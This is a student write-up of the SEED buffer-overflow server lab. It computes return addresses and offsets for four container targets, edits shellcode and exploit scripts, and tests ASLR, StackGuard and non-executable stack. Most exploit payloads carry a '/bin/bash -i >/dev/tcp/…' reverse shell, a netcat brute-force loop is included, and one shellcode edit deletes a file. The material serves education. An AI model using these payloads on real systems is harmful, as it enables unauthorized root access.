Laboratory: 1

Buffer Overflow Attack (Server Version)

Introduction:

This Report consists of an attacker point of view, where 4 levels of attacks are performed in 4 different servers in 4 different situations. The attacks performed are Buffer Overflow Attacks, since each of the server contains a buffer overflow vulnerability program in it and we as an attacker in this report take advantage of it and create an exploit such that we alter the control flow of the program and lead the program to execute the malicious code that was written beyond the boundary of the buffer of that server's stack. Hence, gain control over the root server to carry out our malicious intent.

The other half of the report also includes trying several countermeasures against buffer-overflow attacks, such as: Address Randomization, Non-executable stack, StackGuard.

Lab Setup:

There are 4 containers, each of which is holding one server running program with buffer overflow vulnerability. First 2 servers are 32-bit and the next 2 are of 64-bit. We change the "L" values in the Make file of the server code so that we specify the buffer length for each server program, such that it is different from the default values given before. You can see the new buffer size values below.

```
L1 = 200
L2 = 152
L3 = 300
L4 = 50
```

Now, there are 2 shell codes with the basic template available for both 32-bit and 64-bit server. We make changes to this code accordingly, as we move forward with the different types of attack strategies.

Next available resource is the attack code. Using this we inject the shell code into the server programs stack frame. We also need to make changes in this code such that it is modified in a way to carry out the attack adjusting to different limitations that come our way as we increase the level of attack.

Process:

First, we turn off all the pre-existing countermeasures in the environment that we have an open environment which is more vulnerable for the attacks.

We are now turning off the address randomization countermeasure by using the following command as shown below.

```
[09/18/21]seed@VM:~/.../Labsetup$ sudo /sbin/sysctl -w kernel.randomize_va_s
pace=0
kernel.randomize_va_space = 0
```

Now, we need to compile the vulnerable program in the server. We understand that this is the "stack.c" file in the lab set-up and this is the program containing the buffer overflow vulnerability that we need to exploit to get the root privileges. We make sure that while compiling this program, we turn off the non-executable stack protections and StackGuard countermeasures in order to make the stack layout more open to attacks. It is done by the following command in the make file as shown below.

```
FLAGS     = -z execstack -fno-stack-protector
```

We then compile and install the stack program into 32-bit and 64-bit binaries. After which we build the container image by using dcbuild and start the container using dcup. We can see below that the containers are now running.

```
[09/21/21]seed@VM:~/.../server-code$ dcup
Starting server-3-10.9.0.7 ... done
Starting server-1-10.9.0.5 ... done
Starting server-2-10.9.0.6 ... done
Starting server-4-10.9.0.8 ... done
Attaching to server-3-10.9.0.7, server-2-10.9.0.6, server-1-10.9.0.5, server
-4-10.9.0.8
```

Task 1: Get Familiar with Shell Code

We make changes in the python programs used to generate the 32-bit and 64-bit shell code, such that we can delete a file using that shell scripts generated. The modified program snippet is shown below.

```
   #"File Removed                                                    *"
   "rm sniffing.py                                                   *"
   "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
   "BBBB"   # Placeholder for argv[1] --> "-c"
   "CCCC"   # Placeholder for argv[2] --> the command string
   "DDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')
"shellcode_32.py" 32L, 1353C                                  20,23
```

As you can see above "rm sniffing.py" is used to delete the "sniffing.py" file in the same directory. The directory files before executing the shell script and after executing the shell script can be seen below respectively.

```
[09/21/21]seed@VM:~/.../shellcode$ ls
a32.out  call_shellcode.c  Makefile   shellcode_32.py  sniffing.py
a64.out  codefile_32       README.md  shellcode_64.py
```

```
[09/21/21]seed@VM:~/.../shellcode$ ls
a32.out  call_shellcode.c  Makefile   shellcode_32.py
a64.out  codefile_32       README.md  shellcode_64.py
```

The modification in the program is same for “shellcode_64.py”. It gives out the same expected result to delete the “sniffing.py” file after generating and compiling the shell code binary.

Task 2: Level-1 Attack

Our target in this attack runs on server 10.9.0.5 and the vulnerable stack program is of 32-bit. Now, let’s just check the server-side connection by sending out a simple “echo hello” message to the server on port 9090. The command and the server-side connection output is shown below respectively.

```
[09/21/21]seed@VM:~/.../shellcode$ echo hello | nc 10.9.0.5 9090
^C
```

```
Got a connection from 10.9.0.1
Starting stack
Input size: 6
Frame Pointer (ebp) inside bof():  0xffffd0c8
Buffer's address inside bof():     0xffffcff4
==== Returned Properly ====
```

Now that we see that the target server is responding as expected, we will carry forward our attack. One thing to make note here is the ebp and buffer’s address inside bof() function is given out by the container. We can make use of this to write our exploit-L1.py program to create a payload called “badfile” to exploit this server’s vulnerability of accepting only up to 517 bytes of data from the user. My modified snippet of exploit-L1.py is shown below.

```
#################################################################
# Put the shellcode at the end
content[517-len(shellcode):] = shellcode

# You need to find the correct address
# This should be the first instruction you want to return to
ret = 0xffffd0de

# You need to calculate the offset
offset = 216

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
#################################################################

                                                    34,16         90%
```

Here, we send the exploit payload which contains the message "(^_^) SUCCESS SUCCESS (^_^)" to the server. We can see the message on the server as shown below.

```
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 517
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffd0c8
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffcff4
server-1-10.9.0.5 | (^_^) SUCCESS SUCCESS (^_^)
```

Notice here, in my exploit-L1.py the "ret" and "offset" values are different than the original. It is modified according to my ebp and Buffer address values. i.e., "ret" = 0xffffd0c8 + 16 and "offset" = 0xffffd0c8 – 0xffffcff4 + 4

Now, instead of the "(^_^) SUCCESS SUCCESS (^_^)" message, let's get a reverse shell on the target container 10.9.0.5

For this, my "ret" value and "offset" value will be the same as above since I just confirmed that my buffer overflow attack worked, by displaying the message. I would make a small change to the "exploit-L1.py" as shown below. The red line displayed below is the command to get the reverse shell.

```
    # You can delete/add spaces, if needed, to keep the position the same.
    # The * in this line serves as the position marker         *
    #"echo '(^_^) SUCCESS SUCCESS (^_^)'                        *"
    "/bin/bash -i >/dev/tcp/10.9.0.1/7070 0<&1 2>&1           *"
    "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
    "BBBB"   # Placeholder for argv[1] --> "-c"
    "CCCC"   # Placeholder for argv[2] --> the command string
    "DDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')
```

By using netcat and listing on port 7070. We confirm that we have successfully got the reverse shell on the vulnerable container 10.9.0.5. We can see the same in the image below.

```
[09/22/21]seed@VM:~/.../shellcode$ nc -lnv 7070
Listening on 0.0.0.0 7070
Connection received on 10.9.0.5 58044
root@7b98058fcef9:/bof# ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.9.0.5  netmask 255.255.255.0  broadcast 10.9.0.255
        ether 02:42:0a:09:00:05  txqueuelen 0  (Ethernet)
        RX packets 103  bytes 10779 (10.7 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 57  bytes 3451 (3.4 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

Task 3: Level-2 Attack

Our target in this attack runs on server 10.9.0.6 and the vulnerable stack program is of 32-bit. Now, let's just check the server-side connection by sending out a simple "echo hello" message to the server on port 9090. The command and the server-side connection output is shown below respectively.

```
[09/22/21]seed@VM:~/.../server-code$ echo hello | nc 10.9.0.6 9090
^C
```

```
server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 6
server-2-10.9.0.6 | Buffer's address inside bof():     0xffffd024
server-2-10.9.0.6 | ==== Returned Properly ====
```

Here we notice that only the Buffer's address is displayed by the server and not the return address which is essential for us to carry out the attack. In this situation we take advantage of knowning the range of the buffer which is between 100-300. By knowing this we need to estimate how much of value we would want to add to the beffer size in order to make it go over the actual return address, such that we can get to our injected code. i.e. 0xffffd024 + (range 100 to 300). We also need to judge with what number of return addresses we want to spray the buffer. The values that worked for me and successfully displayed the message I used to check if I got the right values is as shown below (Along with the message passed).

```
# You need to find the correct address
# This should be the first instruction you want to return to
ret = 0xffffd196

# Spray the buffer with S number of return addresses
# You need to decide the S value
S = 50
for offset in range(S):
    content[offset*4:offset*4 + 4] = (ret).to_bytes(4,byteorder='little')
########################################################################
```

```
server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 517
server-2-10.9.0.6 | Buffer's address inside bof():     0xffffd024
server-2-10.9.0.6 | (^_^) SUCCESS SUCCESS (^_^)
```

However, I got these right values after a lot of trial and error. Some of my rejected unsucessful values are as follows:
Ret = ffffd324 , S= 5
Ret = ffffd2b4 , S= 20

Now, after obtaining the right values, we'll now move on to get a root shell on the target server 10.9.0.6 The changes I made in the "exploit-L2.py" are shown below. The line in red is the command used to get the reverse shell.

```
    #"echo '(^_^) SUCCESS SUCCESS (^_^)'                          *"
    "/bin/bash -i >/dev/tcp/10.9.0.1/7070 0<&1 2>&1              *"
    "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
    "BBBB"   # Placeholder for argv[1] --> "-c"
    "CCCC"   # Placeholder for argv[2] --> the command string
    "DDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')
```

By using netcat and listing on port 7070. We confirm that we have successfully got the reverse shell on the vulnerable container 10.9.0.6. We can see the same in the image below.

```
[09/22/21]seed@VM:~/.../shellcode$ nc -lnv 7070
Listening on 0.0.0.0 7070
Connection received on 10.9.0.6 57284
root@8dbc77d6a4a2:/bof# ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.9.0.6  netmask 255.255.255.0  broadcast 10.9.0.255
        ether 02:42:0a:09:00:06  txqueuelen 0  (Ethernet)
        RX packets 107  bytes 12700 (12.7 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 58  bytes 3540 (3.5 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

Task 4: Level-3 Attack

Our target in this attack runs on server 10.9.0.7 and the vulnerable stack program is of 64-bit. Now, let's just check the server-side connection by sending out a simple "echo hello" message to the server on port 9090. The command and the server-side connection output is shown below respectively.

```
[09/22/21]seed@VM:~/.../server-code$ echo hello | nc 10.9.0.7 9090
^C
```

```
server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 6
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof():  0x00007fffffffe000
server-3-10.9.0.7 | Buffer's address inside bof():     0x00007fffffffdec0
server-3-10.9.0.7 | ==== Returned Properly ====
```

Here, we notice that we get both the addressess. The rbp and the Buffer's address. So carrying out the

attack in this case will be easier than the attack 2, since there is no trial and error in this case. But the only difficulty that would arrise in this is that the address is 8 bytes long since it's a 64-bit program. This always starts with 0x00 which will cause the problem when we copy the payload into the stack via strcpy() and it will break if the zero value appears in the middle of the payload.

To overcome this, though we follow the same process as of attack 1 to get the "ret" value and the "offset" value. We will do this in little-endian form. This will store the least significant bytes before the most significant bytes, and flow of the attack will be carried out as expected. The modified "exploit-L3.py" file is as below, we also note that in this case we are copying the shell code at the bottom of the stack. So we copy the code at 40 bytes from the buffer size and the same is shown below along with the other details like "ret" and offset value.

```
# Put the shellcode near the beginning of the buffer
start = 40
content[start:start+len(shellcode)] = shellcode

# You need to decide the values for these two variables
ret    = 0x00007fffffffdec0
offset = 328

L = 8
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
```

```
server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 517
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof():  0x00007fffffffe000
server-3-10.9.0.7 | Buffer's address inside bof():     0x00007fffffffdec0
server-3-10.9.0.7 | (^_^) SUCCESS SUCCESS (^_^)
```

Here, we calculated the offset in the same way as of level 1 attack and the "ret" is set as the buffer's address since the shell code is injected at the bottom of the stack. Now that we confirmed the values work, by displaying the success message. Let's get the reverse shell on this server 10.9.0.7

For that the changes I'm making in the "exploit-L3.py" is shown below, the command in red is the command used to get the reverse shell.

```
  # You can delete/add spaces, if needed, to keep the position the
  # The * in this line serves as the position marker         *
# "echo '(^_^) SUCCESS SUCCESS (^_^)'                         *"
"/bin/bash -i >/dev/tcp/10.9.0.1/7070 0<&1 2>&1              *"
 "AAAAAAAA"   # Placeholder for argv[0] --> "/bin/bash"
 "BBBBBBBB"   # Placeholder for argv[1] --> "-c"
 "CCCCCCCC"   # Placeholder for argv[2] --> the command string
 "DDDDDDDD"   # Placeholder for argv[3] --> NULL
```

By using netcat and listing on port 7070. We confirm that we have successfully got the reverse shell on the vulnerable container 10.9.0.7. We can see the same in the image below.

```
[09/22/21]seed@VM:~/.../shellcode$ nc -lnv 7070
Listening on 0.0.0.0 7070
Connection received on 10.9.0.7 42618
root@d78811d29ec9:/bof# ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.9.0.7  netmask 255.255.255.0  broadcast 10.9.0.255
        ether 02:42:0a:09:00:07  txqueuelen 0  (Ethernet)
        RX packets 125  bytes 13987 (13.9 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 61  bytes 3666 (3.6 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

Task 5: Level-4 Attack

Our target in this attack runs on server 10.9.0.8 and the vulnerable stack program is of 64-bit. Now, let's just check the server-side connection by sending out a simple "echo hello" message to the server on port 9090. The command and the server-side connection output is shown below respectively.

```
[09/22/21]seed@VM:~/.../server-code$ echo hello | nc 10.9.0.8 9090
^C
```

```
server-4-10.9.0.8 | Got a connection from 10.9.0.1
server-4-10.9.0.8 | Starting stack
server-4-10.9.0.8 | Input size: 6
server-4-10.9.0.8 | Frame Pointer (rbp) inside bof():  0x00007fffffffe100
server-4-10.9.0.8 | Buffer's address inside bof():     0x00007fffffffe0c0
server-4-10.9.0.8 | ==== Returned Properly ====
```

Here, we notice that we get both the addressess. The rbp and the Buffer's address. The server is similar to that of level-3 attack but if we notice the buffer size, which is rbp – buffer's address, i.e. 64 in our case, is much smaller than the buffer size in attack level 3. Here we see that the buffer size is less than that of our shell code. We would need to get the reverse shell on server 10.9.0.8 in this situation.

Now, if we examine the stack program clearly we can see that the code is already in there in the main() function buffer. All we have to do is make the "ret' value in our "exploit-L4.py" point somewhere close to below the code in the main () buffer. And the "offset" value is calculated same as that in attack level 3.

The values that worked for me is shown below along with the success message on the server side.

```
# Put the shellcode at the end
content[517-len(shellcode):] = shellcode

# From server: $rbp = 0x00007fffffffe100
ret = 0x00007fffffffe100 + 1200

# From server: $rbp - &buffer = 64
offset = 64 + 8

L = 8
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
###################################################################
```

```
server-4-10.9.0.8 | Got a connection from 10.9.0.1
server-4-10.9.0.8 | Starting stack
server-4-10.9.0.8 | Input size: 517
server-4-10.9.0.8 | Frame Pointer (rbp) inside bof():  0x00007fffffffe100
server-4-10.9.0.8 | Buffer's address inside bof():     0x00007fffffffe0c0
server-4-10.9.0.8 | (^_^) SUCCESS SUCCESS (^_^)
```

Now that we confirmed the values work, by displaying the success message. Let's get the reverse shell on this server 10.9.0.8. For that the changes I'm making in the "exploit-L4.py" is shown below, the command in red is the command used to get the reverse shell.

```
    # The code above will change the byte at this position to zero,
    # so the command string ends here.
    # You can delete/add spaces, if needed, to keep the position the same.
    # The * in this line serves as the position marker         *
  # "echo '(^_^) SUCCESS SUCCESS (^_^)'                        *"
    "/bin/bash -i >/dev/tcp/10.9.0.1/7070 0<&1 2>&1            *"
    "AAAAAAAA"   # Placeholder for argv[0] --> "/bin/bash"
    "BBBBBBBB"   # Placeholder for argv[1] --> "-c"
    "CCCCCCCC"   # Placeholder for argv[2] --> the command string
    "DDDDDDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')
                                                          19,3          28%
```

By using netcat and listing on port 7070. We confirm that we have successfully got the reverse shell on the vulnerable container 10.9.0.8. We can see the same in the image below.

```
[09/22/21]seed@VM:~/.../server-code$ nc -lnv 7070
Listening on 0.0.0.0 7070
Connection received on 10.9.0.8 34124
root@047122ed386f:/bof# ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.9.0.8  netmask 255.255.255.0  broadcast 10.9.0.255
        ether 02:42:0a:09:00:08  txqueuelen 0  (Ethernet)
        RX packets 75  bytes 9136 (9.1 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 35  bytes 2287 (2.2 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

Task 6: Experimenting with the Address Randomization

Now, we will turn on the countermeasure of Address randomization that we turned off before starting our attacks. Then, send out the hello message to the server 10.9.0.5 and 10.9.0.7 and see what changes we observe in this case.

Below is the server responses (both 10.9.0.5 and 10.9.0.7) for the message “hello” which was sent multiple times.

```
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffb73998
server-1-10.9.0.5 | Buffer's address inside bof():     0xffb738c4
server-1-10.9.0.5 | ==== Returned Properly ====
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffb956b8
server-1-10.9.0.5 | Buffer's address inside bof():     0xffb955e4
server-1-10.9.0.5 | ==== Returned Properly ====
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffe385a8
server-1-10.9.0.5 | Buffer's address inside bof():     0xffe384d4
server-1-10.9.0.5 | ==== Returned Properly ====
```

```
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 6
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof():  0x00007ffee022c090
server-3-10.9.0.7 | Buffer's address inside bof():     0x00007ffee022bf50
server-3-10.9.0.7 | ==== Returned Properly ====
server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 6
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof():  0x00007ffd7fc371f0
server-3-10.9.0.7 | Buffer's address inside bof():     0x00007ffd7fc370b0
server-3-10.9.0.7 | ==== Returned Properly ====
server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 6
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof():  0x00007fff8c8e0ef0
server-3-10.9.0.7 | Buffer's address inside bof():     0x00007fff8c8e0db0
server-3-10.9.0.7 | ==== Returned Properly ====
```

Here we notice, in both the server responses, the buffer address and the frame pointer changes every time we send the message “hello”. The input size is the same, but the addresses are changed every time in both the server cases.

This would make carrying out the buffer-overflow attacks more difficult cause though we can calculate the “offset” by using ebp – buffer address +4 and rbp – buffer address + 8, we cannot give a solid return address in our exploit code that would work every time because of the change in addresses every time due to the countermeasure.

We will now use the brute-force approach to attack the 32-bit server repeatedly. The shell scripted used in this case to run the vulnerable program in an infinite loop is shown below.

```
#!/bin/bash

SECONDS=0
value=0

while true; do
  value=$(( $value + 1 ))
  duration=$SECONDS
  min=$(($duration / 60))
  sec=$(($duration % 60))
  echo "$min minutes and $sec seconds elapsed."
  echo "The program has been running $value times so far."
  cat badfile | nc 10.9.0.5 9090
done
~
```

Ideally, this should get us the reverse shell on the server 10.9.0.5. But I guess the luck was just not in my favor. I ran the script for over 30 mins as shown below but found that the script ran until my local drive C

storage was fully occupied and the VM shutoff. I did clear some space and ran the script again but just to find the same results. Proof of the script running for a long time is shown below.

```
29 minutes and 15 seconds elapsed.
The program has been running 182006 times so far.
29 minutes and 15 seconds elapsed.
The program has been running 182007 times so far.
29 minutes and 15 seconds elapsed.
The program has been running 182008 times so far.
29 minutes and 15 seconds elapsed.
The program has been running 182009 times so far.
29 minutes and 15 seconds elapsed.
The program has been running 182010 times so far.
```

Ideally, in theory, would have received the reverse-shell by now. But again, practically, my proof of no luck is shown below.

```
[09/23/21]seed@VM:~/.../server-code$ nc -lnv 7070
Listening on 0.0.0.0 7070
```

Tasks 7: Experimenting with Other Countermeasures

a: Turn on the StackGuard Protection

Once we turn on the stack protection by removing the “e -fno-stack-protector” command in the make file, recompile the stack and rebuilding the dockers.

We will notice this protection detects and thwarts buffer-overflow attacks by effectively preventing changes to the return address while the function is still active. Since, return address cannot be changed in this case, there’s no way of carrying out the attack. This StackGuard protection either detects the change of the return address before the function returns, or by completely preventing the write to the return address.

In our case, it completely prevents to write to the return address. The same can be shown in the image below. When we send our badfile to the server 10.9.0.5, we see the process does not proceed on the server side. Proving us that the StackGuard Protection is preventing the change in return address that we perform.

```
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
```

b: Turn on the Non-executable Stack Protection

This will back the stack non-executable, which means that when we inject the shell code into the stack frame we wont be able to execute lit to get the reverse shell on the servers in our case.

This countermeasure is turned on by simply removing "-z execstack" option from the "call_shellcode.c" and recompiling it to get a new a32.out and a64.out. Now if we carry out our attacks, we can see below that there is no response from the server side that would indicate that our shellcode is successfully executed.

```
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 517
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffd218
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffd176
server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 517
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof():  0x00007fffffffe150
server-3-10.9.0.7 | Buffer's address inside bof():     0x00007fffffffe040
```

However, this countermeasure only blocks the code execution in a stack and not the buffer-overflow attack in itself.